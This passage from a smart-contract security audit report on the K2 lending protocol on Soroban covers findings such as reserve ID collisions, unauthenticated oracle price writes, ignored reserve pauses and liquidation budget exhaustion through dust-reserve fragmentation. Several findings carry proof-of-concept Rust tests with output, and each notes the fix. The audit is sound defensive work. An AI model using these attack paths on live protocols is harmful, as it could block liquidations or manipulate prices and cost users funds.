109     env.storage().persistent().get(&RESERVES_COUNT).unwrap_or(0)
110 }

```

Removing a reserve updates **RESERVES_COUNT** to match the new length of the reserves list ([contracts/kinetic-router/src/storage.rs](#))

```

291 pub fn remove_reserve_from_list(env: &Env, asset: &Address) {
292     // ...
293     env.storage()
294         .persistent()
295         .set(&RESERVES_LIST, &new_reserves);
296
297     let count = new_reserves.len();
298     env.storage().persistent().set(&RESERVES_COUNT, &count);
299 }

```

The PoC code has been added into the existing suite located within the `tests/unit-tests/src/kinetic_router_reserve_id_collision_poc.rs` file:

 Copy Code

```
#![cfg(test)]

/// PoC: dropping a reserve causes `RESERVES_COUNT` (list length) to decrease,
/// which can lead to `ReserveData.id` reuse and collisions. Because `UserConfiguration`
/// uses `reserve_data.id` as the bitmap index, an id collision makes collateral/borrow
/// flags ambiguous across multiple reserves.

use k2_kinetic_router::{router::KineticRouterContractClient, KineticRouterContract};
use k2_shared::{Asset, InitReserveParams, OracleError, PriceData};
use soroban_sdk::{
    contract, contractimpl,
    testutils::Address as _,
    Address, Env, Vec,
};

/// Minimal oracle stub for router tests:
/// - Implements the exact method the router calls (`get_asset_prices_vec`)
/// - Returns a fixed non-zero price for every requested asset.
#[contract]
pub struct MockPriceOracle;

#[contractimpl]
impl MockPriceOracle {
    pub fn get_asset_prices_vec(env: Env, assets: Vec<Asset>) -> Result<Vec<PriceData>, OracleError> {
        let mut out = Vec::new(&env);
        for _asset in assets.iter() {
            out.push_back(PriceData {
                // 1.0 with 14 decimals
                price: 100_000_000_000_000u128,
                timestamp: env.ledger().timestamp(),
            });
        }
        Ok(out)
    }
}

#[test]
fn poc_drop_reserve_allows_id_reuse_and_corrupts_user_configuration_bitmap() {
    let env = Env::default();
    env.mock_all_auths();

    let admin = Address::generate(&env);
    let emergency_admin = Address::generate(&env);
    let user = Address::generate(&env);

    // Deploy router + oracle
    let router_id = env.register(KineticRouterContract, ());
    let router = KineticRouterContractClient::new(&env, &router_id);

    let oracle_id = env.register(MockPriceOracle, ());
```



```

let treasury = Address::generate(&env);
let dex_router = Address::generate(&env);
router.initialize(&admin, &emergency_admin, &oracle_id, &treasury, &dex_router, &None);

let pool_configurator = Address::generate(&env);
router.set_pool_configurator(&admin, &pool_configurator);

let params = InitReserveParams {
    decimals: 7,
    ltv: 8000,
    liquidation_threshold: 8500,
    liquidation_bonus: 500,
    reserve_factor: 1000,
    supply_cap: 1_000_000,
    borrow_cap: 1_000_000,
    borrowing_enabled: true,
    flashloan_enabled: true,
};

// Helper: initialize a reserve with dummy token/strategy addresses (not needed for this PoC).
let init_reserve = || -> Address {
    let underlying = Address::generate(&env);
    let a_token = Address::generate(&env);
    let debt_token = Address::generate(&env);
    let rate_strategy = Address::generate(&env);
    router.init_reserve(
        &pool_configurator,
        &underlying,
        &a_token,
        &debt_token,
        &rate_strategy,
        &treasury,
        &params,
    );
    underlying
};

// Create two reserves: A(id=0), B(id=1)
let asset_a = init_reserve();
let asset_b = init_reserve();

let reserve_a = router.get_reserve_data(&asset_a);
let reserve_b = router.get_reserve_data(&asset_b);
assert_eq!(reserve_a.id, 0);
assert_eq!(reserve_b.id, 1);

// User marks reserve B as "use as collateral" (sets bit for id=1)
router.set_user_use_reserve_as_coll(&user, &asset_b, &true);

let user_config_before = router.get_user_configuration(&user);
assert!(user_config_before.is_using_as_collateral(reserve_b.id as u8));

// Drop reserve A. This shrinks the reserves list and can cause the next reserve to reuse id=1.
router.drop_reserve(&pool_configurator, &asset_a);

// Create a new reserve C. Because `RESERVES_COUNT` is derived from list length,

```

```
// the new reserve gets id=1, colliding with existing reserve B's id=1.
let asset_c = init_reserve();
let reserve_c = router.get_reserve_data(&asset_c);
assert_eq!(reserve_b.id, reserve_c.id);

// Now, clearing collateral for *asset C* will also clear the same bitmap bit used by *asset B*.
// (This call triggers the router's HF check and therefore exercises the oracle path too.)
router.set_user_use_reserve_as_coll(&user, &asset_c, &false);

let user_config_after = router.get_user_configuration(&user);
assert!(
    !user_config_after.is_using_as_collateral(reserve_b.id as u8),
    "Clearing collateral for reserve C cleared the same bit used for reserve B due to id collision"
);
}
```

The test passes successfully, showing that the protocol's logic allows reserve ID reuse after dropping a reserve, leading to bitmap collisions in the user configuration—so changing collateral status for a new reserve erroneously alters the status of the old reserve with the same reused ID:

```
running 1 test
test kinetic_router_reserve_id_collision_poc::poc_drop_reserve_allows_id_reuse_and_corrupts_user_configuration_bitmap ... ok

test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 376 filtered out; finished in 0.03s
```

BVSS

AO:A/AC:L/AX:M/R:N/S:U/C:N/A:H/I:H/D:M/Y:M (8.0)

Recommendation

Make reserve ids **monotonic and non-reused** by storing a separate **NEXT_RESERVE_ID** counter that only increments (never decreases) and use it for **ReserveData.id** assignment; if reserves can be dropped, avoid recomputing ids/counts from list length and do not reuse bit positions.

Additionally, make the reserve-id-to-bitmap mapping an explicit invariant. Enforce a hard cap of **64** reserves at **init_reserve** (return an error if **get_reserves_count() >= 64**) unless you redesign **UserConfiguration** to support more.

Remediation Comment

SOLVED: The **K2 team** solved this finding in the specified commit by implementing monotonic ID assignment, enforcing the 64-reserve bitmap limit, and preventing unsafe reserve drops.

Remediation Hash

<https://github.com/Shapeshifter-Technologies/k2-contracts/commit/64e09825c51a179d4fd7ef561b02c512a6354a4c>

7.6 MISSING AUTHENTICITY CHECKS IN REDSTONE ADAPTER ENABLE UNAUTHORIZED PRICE INJECTION

// MEDIUM

Description

The RedStone adapter's `write_prices` function accepts arbitrary prices and package timestamps from any authenticated caller, with no RedStone payload verification, signature validation, or trust model enforcement. This deviates from the official RedStone adapter which requires cryptographically verified payloads signed by RedStone signers.

Currently the K2 lending protocol uses Reflector Oracle as its primary price source. However, if the redstone-adapter were integrated into the lending protocol for price feeds, any authenticated user could call `write_prices` with fabricated prices and timestamps, completely undermining oracle integrity. This would enable price manipulation attacks against lending/liquidation logic, allowing attackers to drain user funds by manipulating collateral valuations.

The adapter's `config.rs` contains placeholder RedStone signer addresses and verification parameters (marked as *"TODO: Replace with actual RedStone signer public keys"*), but these are unused. The RedStone SDK dependency is commented out in `Cargo.toml`, and `lib.rs` lacks the official `process_payload` verification flow.

BVSS

AO:A/AC:L/AX:M/R:N/S:U/C:N/A:N/I:C/D:N/Y:N (6.7)

Recommendation

Reimplement the adapter following the official RedStone Stellar adapter pattern: accept `payload: Bytes` instead of raw prices, integrate RedStone SDK, and enforce signature verification.

Remediation Comment

SOLVED: The K2 team solved this finding by replacing the insecure raw-price `write_prices` path with a RedStone SDK-verified signed-payload flow before persisting prices (commit [788dd80](#)). In a follow-up change (commit [486f8cc](#)), they closed the remaining integrity gaps by making `write_prices`/`process_payload` explicit and fail-safe—returning `PriceUpdateResult` and reverting on `NoFeedsUpdated`—and by

enforcing freshness based on the signed payload's `package_timestamp` with monotonic package-time handling. These changes mitigate replay-as-fresh attacks and strengthen safety around signer and threshold management.

Remediation Hash

<https://github.com/Shapeshifter-Technologies/k2-contracts/commit/486f8cc58d6d9b1cb00f914a85e7e71c626b26aa>

7.7 DYNAMIC PER-ASSET DATA IN INSTANCE STORAGE HITS SIZE CAPS AND SHARED ARCHIVAL

// MEDIUM

Description

Instance storage is used to hold a single ledger entry with a size cap and a shared time-to-live (TTL); it is intended for bounded configuration data. Persistent storage is unlimited and supports per-key TTL. The treasury currently maintains an unbounded per-asset balances map in instance storage, and the price oracle stores per-asset lists and last-price entries there as well. Two failure modes are introduced by this design:

- Size cap: as the number of assets grows, the single instance entry can exceed the configured size cap. When the cap is exceeded, subsequent writes fail during the apply stage prior to contract execution, which blocks creation of new assets and prevents balance updates; read operations remain functional.
- Shared TTL: because a single TTL is shared for the instance entry, expiration of that TTL causes all contained dynamic data to be archived together. When this occurs, any operation that touches the archived footprint fails until the archived state is restored.

Both failure modes act as protocol-wide blockers for treasury and price-oracle write operations, despite the underlying data remaining uncorrupted.

BVSS

AO:A/AC:L/AX:M/R:N/S:U/C:N/A:H/I:H/D:N/Y:N (6.3)

Recommendation

Move dynamic/per-asset data to persistent storage and bump TTL per key. Keep only bounded config (admin, init flags) in instance storage; one `instance().extend_ttl` then suffices for that small set. For the oracle, store per-asset last prices and asset lists persistently; for the treasury, store each asset balance persistently. This reduces instance pressure, aligns with archival semantics, and isolates TTL per key.

Remediation Comment

SOLVED: The K2 team solved this finding in the following commit IDs:

- [a7ba2c9](#)
- [7933807](#)
- [f548e77](#)
- [cabc6c8](#)
- [aec34ac](#)

These commits correctly move per-asset dynamic data out of instance storage and largely split it into per-asset entries in persistent storage, addressing the size-cap and shared-blob failure mode. TTL extension is now triggered when remaining TTL falls below 28 days of ledger.

Remediation Hash

<https://github.com/Shapeshifter-Technologies/k2-contracts/commit/aec34ac6c34717745e67efd243782dbb14b94717>

7.8 SUPPLY ALWAYS ENABLES COLLATERAL REGARDLESS OF USER PREFERENCE

// MEDIUM

Description

The `operations::supply` function unconditionally enables collateral for every supply operation, overriding user risk management preferences set via `set_user_use_reserve_as_coll`. While the codebase follows Aave v3 patterns, it diverges by lacking first-supply detection - the `mint_scaled` function always returns `true` (success only) instead of returning `true` only when the previous balance was zero.

A user disables collateral for conservative risk management, but any subsequent supply silently re-enables it, increasing borrowing power and liquidation risk without user consent. The comment *"Update user configuration if first time using this reserve"* indicates awareness of Aave v3's intended conditional logic but reveals the implementation failure.

Code Location

Supply always sets collateral usage to true on every supply (`contracts/kinetic-router/src/operations.rs`):

 Copy Code

```
69 | // Update user configuration if first time using this reserve
70 | let mut user_config = storage::get_user_configuration(&env, &on_behalf_of);
71 | user_config.set_using_as_collateral(updated_reserve_data.id as u8, true);
72 | storage::set_user_configuration(&env, &on_behalf_of, &user_config);
```

aToken's `mint_scaled` always returns true (missing first-supply detection):

 Copy Code

```
229 | pub fn mint_scaled(
230 |     env: Env,
231 |     caller: Address,
232 |     on_behalf_of: Address,
233 |     amount: u128,
234 |     index: u128,
235 | ) -> Result<bool, TokenError> {
236 |     ...
237 |     Ok(true)
238 | }
```


BVSS

AO:A/AC:L/AX:M/R:N/S:U/C:N/A:N/I:M/D:H/Y:L (6.3)

Recommendation

Only auto-enable collateral on the first supply into an empty position. Preserve an existing “collateral disabled” choice unless the user explicitly re-enables it via `set_user_use_reserve_as_coll`.

Remediation Comment

SOLVED: The **K2 team** solved this finding in the specified commit by modifying the aToken contract to track first-supply status and updating the supply function to only auto-enable collateral on initial deposits, preserving user risk management preferences for subsequent supplies.

Remediation Hash

<https://github.com/Shapeshifter-Technologies/k2-contracts/commit/28549a60390d7e5865b8335cda74c8251dc364fc>

7.9 RESERVE-LEVEL PAUSES ARE IGNORED IN CORE LENDING OPERATIONS

// MEDIUM

Description

Core lending entrypoints inconsistently enforce pause controls: supply/withdraw/borrow guard only the global pause flag `storage::is_paused` and ignore the per-reserve `paused` bit in `ReserveConfiguration`, while `validate_repay` does not check the global pause either.

As a result, a reserve that governance intended to freeze can still be supplied/borrowed/withdrawn/swapped even when its `paused` bit is set, and repayment behavior during a global pause diverges from the rest of the protocol.

This defeats incident response controls and can allow continued interaction with compromised markets or configuration mistakes.

Code Location

Reserve validations omit the per-reserve pause check (`contracts/kinetic-router/src/validation.rs`):

 Copy Code

```
87 pub fn validate_supply(env: &Env, asset: &Address, amount: u128) -> Result<(), KineticRouterError> {
88     if storage::is_paused(env) {
89         return Err(KineticRouterError::AssetPaused);
90     }
91     ...
92     if reserve_data.configuration.is_frozen() {
93         return Err(KineticRouterError::AssetFrozen);
94     }
95 }
```

`validate_repay` does not check the global pause either (in addition to not checking the per-reserve pause bit):

 Copy Code

```
652 pub fn validate_repay(
653     env: &Env,
654     asset: &Address,
655     amount: u128,
656     rate_mode: u32,
657 ) -> Result<(), KineticRouterError> {
658     // Validate amount (0 and MAX are allowed for full repayment)
659     if amount != 0 && amount != u128::MAX {
660         return Err(KineticRouterError::InvalidAmount);
661     }
662 }
```

```

660     validate_amount(amount)?;
661 }
662 ...
663 let reserve_data = storage::get_reserve_data(env, asset)?;
664 if !reserve_data.configuration.is_active() {
665     return Err(KineticRouterError::AssetNotActive);
666 }
667 Ok(())
668 }

```

BVSS

AO:A/AC:L/AX:M/R:N/S:U/C:N/A:M/I:M/D:M/Y:M (5.9)

Recommendation

Enforce the reserve-level pause bit alongside the global pause in all entrypoints that touch a reserve (supply, withdraw, borrow, repay, swap, liquidation). Reject operations when `reserve_data.configuration.is_paused()` is true.

Decide whether the global pause should permit repayments (to support incident response) or block them. If repayments are intentionally allowed, document this exception explicitly; otherwise, add a `storage::is_paused` check to `validate_repay` to keep it consistent with the other validators.

Remediation Comment

SOLVED: The K2 team solved this finding in the specified commit by following the mentioned recommendation.

Remediation Hash

<https://github.com/Shapeshifter-Technologies/k2-contracts/commit/9e4a6afa1bbddb9a5a6308f54c2ce1442e3b6556>

7.10 RESERVE FRAGMENTATION COMBINED WITH UNOPTIMIZED HEALTH FACTOR/FLASH-LIQUIDATION FLOW CAN EXHAUST SOROBAN BUDGETS

// MEDIUM

Description

Liquidation liveness is dependent on a precheck that computes the borrower's health factor by iterating `reserves_list` and performing multiple cross-contract calls (token balance reads, and potentially oracle queries) for each reserve in which the user is marked as borrowing or using as collateral. A borrower can deliberately create many tiny ("dust") positions across numerous reserves (reserve fragmentation), causing liquidation attempts to exceed Soroban's per-transaction resource budgets and to revert or trap, leaving the protocol with practically unliquidatable bad debt once the borrower becomes undercollateralized.

This denial-of-service condition is amplified by several unoptimized patterns that increase the constant-factor cost of the liquidation and flash-liquidation paths:

- **Redundant reserve reads and repeated loops:** `get_user_account_data` (the default path) scans the full reserves list and repeatedly loads `ReserveData` and invokes token balance reads across multiple passes, causing cost to scale with the total reserve set rather than the user's active subset.
- **Extra cross-contract calls in the flash-liquidation callback:** the atomic flash-liquidation flow (`router.flash_liquidation` → internal flash-loan callback) performs burns/transfers and a DEX swap; when many reserves are active, the combined health-factor precheck and callback can exceed Soroban runtime budgets and produce `HostError: Error(Budget, ExceededLimit)` under mainnet-like limits (100M CPU / 40MB RAM).
- **Avoidable DEX overhead:** the swap path may perform additional router/factory/pair lookups instead of using a cached pair or a direct swap path, increasing CPU usage and call depth.

Proof of Concept

The PoC code has been added into the existing suite located within the `tests/integration-tests/src/poc_flash_liquidation_budget_exhaustion.rs` file:

```
#![cfg(test)]
```

```
//! PoC: flash liquidation can exceed Soroban network resource limits when the pool lists many reserves.
```

 Copy Code

```

///! This focuses on *where* the resource usage spikes:
///! `router.flash_liquidation` calls `get_user_account_data` as a precheck, which currently iterates
///! the full `reserves_list` and reads per-reserve data for each reserve. With enough reserves,
///! the operation exceeds network ledger footprint limits (notably `read_entries`).

use crate::gas_tracking::{
    check_limits_return_info, CPU_LIMIT, FOOTPRINT_KEYS_LIMIT, MEM_LIMIT, READ_BYTES_LIMIT,
    READ_ENTRIES_LIMIT, WRITE_ENTRIES_LIMIT,
};
use crate::setup::{create_test_env_with_budget_limits, deploy_test_protocol_two_assets};
use soroban_sdk::testutils::{Address as _, MockAuth, MockAuthInvoke};
use soroban_sdk::{Address, IntoVal};

/// Add a *real* collateral reserve (SAC + aToken + debtToken) and mark it as collateral for `user`,
/// with a tiny aToken balance minted to ensure the HF/account-data path will touch its balance entry.
///
/// This is a more realistic "reserve fragmentation" setup than dummy reserves, because it creates
/// distinct ledger keys for the user's balances across many reserves.
fn add_real_collateral_reserve_with_tiny_balance(
    protocol: &crate::setup::TestProtocolTwoAssets<'_>,
    user: &Address,
    n: u32,
) -> Address {
    use crate::{a_token, debt_token};
    use soroban_sdk::token;

    let env = protocol.env;

    // 1) Create underlying asset (SAC)
    let sac = env.register_stellar_asset_contract_v2(protocol.admin.clone());
    let underlying = sac.address();

    // 2) Ensure the oracle can price it (so account-data won't error)
    let asset_enum = crate::price_oracle::Asset::Stellar(underlying.clone());
    protocol
        .price_oracle
        .reset_circuit_breaker(&protocol.admin, &asset_enum);
    protocol.price_oracle.add_asset(&protocol.admin, &asset_enum);
    protocol
        .price_oracle
        // Use an *extremely small but non-zero* price (oracle uses 14 decimals).
        // This keeps the user liquidatable even after adding many dust collateral reserves, while
        // still forcing the account-data path to do the per-reserve work.
        .set_manual_override(&protocol.admin, &asset_enum, &Some(1u128));

    // 3) Deploy reserve token contracts
    let a_token_id = env.register(a_token::WASM, ());
    let a_token_client = a_token::Client::new(env, &a_token_id);

    let debt_token_id = env.register(debt_token::WASM, ());
    let debt_token_client = debt_token::Client::new(env, &debt_token_id);

    // 4) Initialize aToken/debtToken (pool = kinetic router)
    a_token_client.initialize(
        &protocol.admin,

```

```

    &underlying,
    &protocol.kinetic_router.address,
    &soroban_sdk::String::from_str(env, &format!("Test aToken {n}")),
    &soroban_sdk::String::from_str(env, &format!("aT{n}")),
    &7u32,
);
debt_token_client.initialize(
    &protocol.admin,
    &underlying,
    &protocol.kinetic_router.address,
    &soroban_sdk::String::from_str(env, &format!("Test Debt {n}")),
    &soroban_sdk::String::from_str(env, &format!("dT{n}")),
    &7u32,
);

// 5) Initialize reserve in the router (caller = pool_configurator)
let params = crate::kinetic_router::InitReserveParams {
    decimals: 7,
    ltv: 8000,
    liquidation_threshold: 8500,
    liquidation_bonus: 500,
    reserve_factor: 1000,
    supply_cap: 1_000_000_000_000_000,
    borrow_cap: 500_000_000_000_000,
    borrowing_enabled: true,
    flashloan_enabled: true,
};
protocol.kinetic_router.init_reserve(
    &protocol.pool_configurator.address,
    &underlying,
    &a_token_id,
    &debt_token_id,
    &protocol.interest_rate_strategy.address,
    &protocol.treasury.address,
    &params,
);

// 6) Mark as collateral and create a tiny aToken balance so the account-data loop touches it.
protocol
    .kinetic_router
    .set_user_use_reserve_as_coll(user, &underlying, &true);

// Mint 1 unit of underlying to the user and do a real `supply` deposit (more realistic than
// spoofing pool-only minting).
let sac_admin = token::StellarAssetClient::new(env, &underlying);
sac_admin.mint(user, &1i128);

let underlying_client = token::Client::new(env, &underlying);
let expiration = env.ledger().sequence() + 200_000;
underlying_client.approve(
    user,
    &protocol.kinetic_router.address,
    &i128::MAX,
    &expiration,
);
protocol

```

```

        .kinetic_router
        .supply(user, &underlying, &1u128, user, &0u32);

    underlying
}

/// PoC: find the minimum number of *active collateral reserves* (≤64 due to u128 bitset)
/// that makes a *legitimate* flash liquidation exceed the per-tx footprint key limit (100).
///
/// This models a borrower deliberately fragmenting collateral across many reserves (dust positions),
/// increasing the number of distinct ledger keys the liquidation path must touch.
#[test]
fn poc_flash_liquidation_resource_exhaustion_threshold() {
    // Add collateral reserves until we exceed footprint key limits, but never exceed the
    // UserConfiguration hard cap (64 reserves total).
    let max_total_reserves = 64u32;
    let base_reserves = 2u32;
    let max_extra = max_total_reserves - base_reserves;

    let mut threshold_extra: Option<u32> = None;
    for extra in 0..=max_extra {
        // Each iteration uses a fresh Env and fresh protocol deployment. This avoids:
        // - snapshot incompatibilities with native test contracts (mock Soroswap router/factory)
        // - state mutation across attempts (successful liquidations change the borrower's state)
        //
        // We then measure the *delta* resource usage of a single flash liquidation attempt.
        // Disable snapshot-at-drop for this PoC: when the host panics on Budget ExceededLimit,
        // snapshot writing during Env drop can cause a second panic and obscure the signal.
        let env = soroban_sdk::Env::new_with_config(soroban_sdk::testutils::EnvTestConfig {
            capture_snapshot_at_drop: false,
        });
        env.mock_all_auths();
        crate::setup::set_default_ledger(&env);
        env.cost_estimate()
            .budget()
            .reset_limits(CPU_LIMIT, MEM_LIMIT);
        let protocol = deploy_test_protocol_two_assets(&env);
        env.cost_estimate().budget().reset_unlimited(); // setup is not the focus

        // Setup: liquidatable position (same as existing flash liquidation tests)
        let usdc_supply = 100_000_000_000u128; // 100 USDC
        let usdt_borrow = 80_000_000_000u128; // 80 USDT

        protocol.kinetic_router.supply(
            &protocol.liquidity_provider,
            &protocol.usdt_asset,
            &200_000_000_000u128,
            &protocol.liquidity_provider,
            &0u32,
        );
        protocol.kinetic_router.supply(
            &protocol.user,
            &protocol.usdc_asset,
            &usdc_supply,
            &protocol.user,
    
```

```

    &0u32,
);
protocol
    .kinetic_router
    .set_user_use_reserve_as_coll(&protocol.user, &protocol.usdc_asset, &true);
protocol.kinetic_router.borrow(
    &protocol.user,
    &protocol.usdt_asset,
    &usdt_borrow,
    &1u32,
    &0u32,
    &protocol.user,
);

// Price drop to make liquidatable
let usdc_asset_enum = crate::price_oracle::Asset::Stellar(protocol.usdc_asset.clone());
protocol
    .price_oracle
    .reset_circuit_breaker(&protocol.admin, &usdc_asset_enum);
protocol.price_oracle.set_manual_override(
    &protocol.admin,
    &usdc_asset_enum,
    &Some(500_000_000_000_000u128), // $0.50
);

// Add `extra` additional collateral reserves with dust deposits.
for i in 1..extra {
    let _ = add_real_collateral_reserve_with_tiny_balance(&protocol, &protocol.user, i);
}

// Legit liquidation args (should succeed in the mock DEX environment)
let debt_to_cover = 50_000_000_000u128;
let collateral_to_seize = 60_000_000_000u128;
let min_swap_out = 45_000_000_000u128;
let deadline = env.ledger().timestamp() + 300;

// Measure delta resources for the liquidation attempt.
//
// In soroban testutils, host errors (like Budget ExceededLimit) are escalated to panics.
// We catch that panic to report the threshold cleanly.
env.cost_estimate().budget().reset_limits(CPU_LIMIT, MEM_LIMIT);
let before = env.cost_estimate().resources();
let cpu_before = env.cost_estimate().budget().cpu_instruction_cost();
let mem_before = env.cost_estimate().budget().memory_bytes_cost();

let panic_result = std::panic::catch_unwind(std::panic::AssertUnwindSafe(|| {
    // With mock_all_auths enabled by create_test_env_with_budget_limits(), no explicit auth tree is needed.
    let _ = protocol.kinetic_router.try_flash_liquidation(
        &protocol.liquidator,
        &protocol.user,
        &protocol.usdt_asset,
        &protocol.usdc_asset,
        &debt_to_cover,
        &collateral_to_seize,
        &min_swap_out,
        &deadline,
    );
}));

```



```

    });
}));

if let Err(payload) = panic_result {
    threshold_extra = Some(extra);

    let panic_msg = if let Some(s) = payload.downcast_ref::(&str)() {
        *s
    } else if let Some(s) = payload.downcast_ref::(&String)() {
        s.as_str()
    } else {
        "Unknown panic payload type"
    };

    assert!(
        panic_msg.contains("Error(Budget, ExceededLimit)"),
        "unexpected panic message:\n{panic_msg}"
    );

    println!(
        "Threshold hit for legit flash_liquidation: PANIC=Error(Budget, ExceededLimit) at total_reserves={} (extra_collateral_reserves={},
        base_reserves + extra,
        extra
    );
    break;
}

let after = env.cost_estimate().resources();
let cpu_after = env.cost_estimate().budget().cpu_instruction_cost();
let mem_after = env.cost_estimate().budget().memory_bytes_cost();
let d_read_entries = after.read_entries.saturating_sub(before.read_entries);
let d_write_entries = after.write_entries.saturating_sub(before.write_entries);
let d_read_bytes = after.read_bytes.saturating_sub(before.read_bytes);
let d_write_bytes = after.write_bytes.saturating_sub(before.write_bytes);
let footprint_keys_est = d_read_entries + d_write_entries;
let d_cpu = cpu_after.saturating_sub(cpu_before);
let d_mem = mem_after.saturating_sub(mem_before);

if footprint_keys_est > FOOTPRINT_KEYS_LIMIT
|| d_read_entries > READ_ENTRIES_LIMIT
|| d_write_entries > WRITE_ENTRIES_LIMIT
{
    threshold_extra = Some(extra);
    println!(
        "Threshold hit for legit flash_liquidation at total_reserves={} (extra_collateral_reserves={}, delta_read_entries={},
        base_reserves + extra,
        extra,
        d_read_entries,
        d_write_entries,
        footprint_keys_est,
        d_read_bytes,
        d_write_bytes,
        d_cpu,
        d_mem
    );
    break;
}

```

```

    }
    // Print every step
    println!(
        "Progress total_reserves={} => delta_read_entries={}, delta_write_entries={}, footprint_keys_est={}, delta_cpu={}, delta_mem=
        base_reserves + extra,
        d_read_entries,
        d_write_entries,
        footprint_keys_est,
        d_cpu,
        d_mem
    );
}

assert!(
    threshold_extra.is_some(),
    "Did not hit footprint limits within {} extra reserves (max total reserves = {})",
    max_extra,
    max_total_reserves
);
}

```

The test passes successfully, showing that as the number of collateral reserves reaches **15**, flash liquidation eventually fails due to exhaustion of execution or storage resources, demonstrating that liquidation liveness can be attacked via reserve fragmentation:

```

Threshold hit for legit flash_liquidation: PANIC=Error(Budget, ExceededLimit) at total_reserves=15 (extra_collateral_re
serves=13)
test poc_flash_liquidation_budget_exhaustion::poc_flash_liquidation_resource_exhaustion_threshold ... ok

test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 138 filtered out; finished in 28.61s

```

BVSS

AO:A/AC:M/AX:M/R:N/S:U/C:N/A:H/I:N/D:H/Y:H (5.0)

Recommendation

Make liquidation and flash liquidation liveness robust by addressing both the *scaling vector* (reserve fragmentation) and the *constant-factor overhead* (redundant reads/calls):

- **Bound the work to the user's active set:** maintain a per-user "active reserves" list (or cached totals) updated on supply/withdraw/borrow/repay, and compute HF using only that set (instead of scanning the full `reserves_list`).
- **Batch prices once:** fetch prices once for the active set (or tolerate missing prices for unrelated dust reserves using a conservative non-reverting policy), instead of per-asset fetches inside loops.
- **Eliminate redundant reserve reads:** refactor `calculate_user_account_data` to avoid multiple passes and repeated `get_reserve_data` calls; reuse loaded `ReserveData` and derived decimals/ids within a single computation.
- **Optimize flash liquidation constant factors:** reduce cross-contract calls where possible (e.g., cache pair address / use direct swap path, avoid temporary-storage callback passing when receiver is the pool, and reuse reserve data already loaded for the flash-loan asset).

Remediation Comment

SOLVED: The **K2 team** solved this finding in the specified commit by implementing a maximum limit of **15** active reserves per user and optimizing health factor calculations to only process active positions, which increased the reserve fragmentation attack threshold from **~15** to **~19** active reserves, effectively bounding the attack vector and reducing Soroban budget exhaustion risks while providing a conservative safety buffer that should be monitored for future regressions or de-optimizations.

Remediation Hash

<https://github.com/Shapeshifter-Technologies/k2-contracts/commit/a7fff38a7670e0dd343a640a5f7e129824566c38>

7.11 A TOKEN TRANSFER_FROM REQUIRES HOLDER AUTH, BREAKING ALLOWANCE-BASED TRANSFERS

// MEDIUM

Description

The `transfer_from` function is used to authenticate the spender and to decrease the allowance, then `transfer` is invoked, which enforces `from.require_auth()`. On Soroban, `from.require_auth()` requires the holder's signature; as a result, delegated transfers are prevented unless the holder also signs. Consequently, allowances are rendered unusable by spenders, breaking integrations (for example, routers and adapters) that depend on approved transfers.

Code Location

Code snippet from the `transfer_from` function:

```
110 pub fn transfer_from(  
111     env: Env,  
112     spender: Address,  
113     from: Address,  
114     to: Address,  
115     amount: i128,  
116 ) -> Result<(), TokenError> {  
117     spender.require_auth();  
118  
119     // removed logic for simplicity  
120  
121     Self::transfer(env, from, to, amount)  
122 }
```

 Copy Code

Code snippet from the `transfer` function:

```
71 pub fn transfer(env: Env, from: Address, to: Address, amount: i128) -> Result<(), TokenError> {  
72     from.require_auth();  
73     // removed logic for simplicity  
74 }
```

 Copy Code

Proof of Concept

The PoC code has been added into the existing suite located within the `tests/unit-tests/src/a_token_test.rs` file:

 Copy Code

```
/// PoC: transfer_from is unusable without holder auth even with allowance.
#[test]
fn test_transfer_from_requires_holder_auth_poc() {
    let env = Env::default();
    let admin = Address::generate(&env);
    let pool = Address::generate(&env);
    let underlying = Address::generate(&env);
    let holder = Address::generate(&env);
    let spender = Address::generate(&env);
    let recipient = Address::generate(&env);

    let contract_id = env.register(ATokenContract, ());
    let client = ATokenContractClient::new(&env, &contract_id);

    let name = String::from_str(&env, "aTEST");
    let symbol = String::from_str(&env, "aTST");

    // Auth only the admin for initialize
    env.mock_auths(&[MockAuth {
        address: &admin,
        invoke: &MockAuthInvoke {
            contract: &contract_id,
            fn_name: "initialize",
            args: (
                admin.clone(),
                underlying.clone(),
                pool.clone(),
                name.clone(),
                symbol.clone(),
                7u32,
            ),
            .into_val(&env),
            sub_invokes: &[],
        },
    }]);
    client.initialize(&admin, &underlying, &pool, &name, &symbol, &7u32);

    let mint_amount = 1_000u128;
    let approve_amount = 500i128;
    let transfer_amount = 300i128;
    let expiration_ledger = 1_000u32;

    // Pool mints to holder (only pool auth allowed)
    env.mock_auths(&[MockAuth {
        address: &pool,
        invoke: &MockAuthInvoke {
            contract: &contract_id,
            fn_name: "mint_scaled",
            args: (pool.clone(), holder.clone(), mint_amount, RAY).into_val(&env),
```

```

    sub_invokes: &[],
  },
}]);
client.mint_scaled(&pool, &holder, &mint_amount, &RAY);

// Holder approves spender (only holder auth allowed)
env.mock_auths(&[MockAuth {
  address: &holder,
  invoke: &MockAuthInvoke {
    contract: &contract_id,
    fn_name: "approve",
    args: (
      holder.clone(),
      spender.clone(),
      approve_amount,
      expiration_ledger,
    )
    .into_val(&env),
    sub_invokes: &[],
  },
}]);
client.approve(&holder, &spender, &approve_amount, &expiration_ledger);

// Spender attempts transfer_from with only their own auth; holder auth is still required and the call fails.
env.mock_auths(&[MockAuth {
  address: &spender,
  invoke: &MockAuthInvoke {
    contract: &contract_id,
    fn_name: "transfer_from",
    args: (
      spender.clone(),
      holder.clone(),
      recipient.clone(),
      transfer_amount,
    )
    .into_val(&env),
    sub_invokes: &[],
  },
}]);

let result = client.try_transfer_from(&spender, &holder, &recipient, &transfer_amount);
assert!(result.is_err(), "transfer_from should fail without holder auth even with allowance");
// Allowance remains unchanged because the call failed before state mutation
assert_eq!(client.allowance(&holder, &spender), approve_amount);
assert_eq!(client.balance_of(&holder), mint_amount as i128);
assert_eq!(client.balance_of(&recipient), 0);
}

```

The test passes successfully, showing that allowance-based delegated transfers fail because the aToken contract requires the holder's authorization for `transfer_from`, making standard ERC-20-like delegation unusable.

```
running 1 test
test a_token_test::test_transfer_from_requires_holder_auth_poc ... ok

test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 375 filtered out; finished in 0.02s
```

BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:M/I:N/D:N/Y:N (5.0)

Recommendation

Split the balance update into an internal helper that assumes auth is already satisfied.

Remediation Comment

SOLVED: The **K2 team** solved this finding in the specified commit by following the mentioned recommendation.

Remediation Hash

